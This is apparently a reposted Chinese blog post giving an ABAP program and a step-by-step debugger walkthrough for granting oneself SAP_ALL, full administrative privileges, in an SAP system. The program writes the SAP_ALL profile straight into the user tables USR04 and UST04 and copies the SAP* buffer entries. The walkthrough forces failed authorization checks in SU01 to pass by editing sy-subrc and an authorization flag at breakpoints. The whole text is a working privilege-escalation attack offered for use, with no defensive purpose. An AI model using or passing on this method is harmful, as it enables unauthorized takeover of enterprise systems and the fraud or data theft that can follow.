如何获取SAP_ALL权限 的代码（还没测试转自SAP翔子）

TABLES : usr01.
DATA: l_usr04  LIKE usr04,
l_ust04  LIKE ust04,
l_profs  LIKE usr04-profs,
l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
l_userid LIKE usr01-bname.
SELECT-OPTIONS: p_user FOR usr01-bname .
START-OF-SELECTION.
SELECT SINGLE * INTO l_usr04 FROM usr04 WHERE bname IN p_user.
MOVE 'C SAP_ALL' TO l_profs .
l_usr04-nrpro = '14'.
l_usr04-profs = l_profs.
UPDATE usr04 FROM l_usr04 .
l_userid = l_usr04-bname.
SELECT SINGLE * INTO l_ust04 FROM ust04 WHERE bname IN p_user.
l_ust04-profile = 'SAP_ALL'.
UPDATE ust04 FROM l_ust04 .
SELECT * FROM usrbf2 INTO TABLE l_usrbf2 WHERE bname = 'SAP*' .
LOOP AT l_usrbf2.
 l_usrbf2-bname = l_userid.
 MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.

目的：SU01在用户参数文件加上SAP_ALL，实现可以取得 ALL权限。
前提：账号要有Debug改值的权限

运行SU01报错，没有SU01权限

• Step1.运行SU01 看到报错：消息号 S#077

（如果这里不报错，请直接看Step3）

根据技术信息可以找到他报错的位置

FUNCTION        / AUTH_CHECK_TCODE

 

• Step2. 再次运行SU01

进入刚设置的断点，将SY-SUBRC的值改为0，F8运行

就可以进入SU01界面

• Step3. 填上自己账号，并点击编辑

But 再次报错

 

 

• Step4. SE38进入程序：CL_SUID_TOOLS=================CM00B，

在这句设置断点

 if sy-subrc eq 0. "Auth check in cache.

      if ls_cache_auth_node-authorized ne 'X'.

        es_msg = ls_cache_auth_node-msg.

      endif.

      return.

 endif.

 

• Step5. 运行SU01 进入断点:

CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47

METHOD          / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)

将1 sy-subrc 不是0时改成0 
2 ls_cache_auth_node-authorized 改成'X'

注意：这里要改多次值，标注程序很多个权限对象，如果改值不充分，可能会出现报错

如：

这时候是编辑不了角色或者参数文件的。

• Step6. 改完变量，进入SU01编辑界面,在参数文件里加上SAP_ALL ，并保存
  注意过程中如果进断点，也是要改值的，同上
  将1 sy-subrc 不是0时改成0 
     2 ls_cache_auth_node-authorized 改成'X'

 

• Step7. 再测试一下SU01

1 可以直接进入编辑
2 参数文件里有SAP_ALL

获取ALL权限成功

 

单击赋能

最简便的方式，开发个程序，一键单击搞定，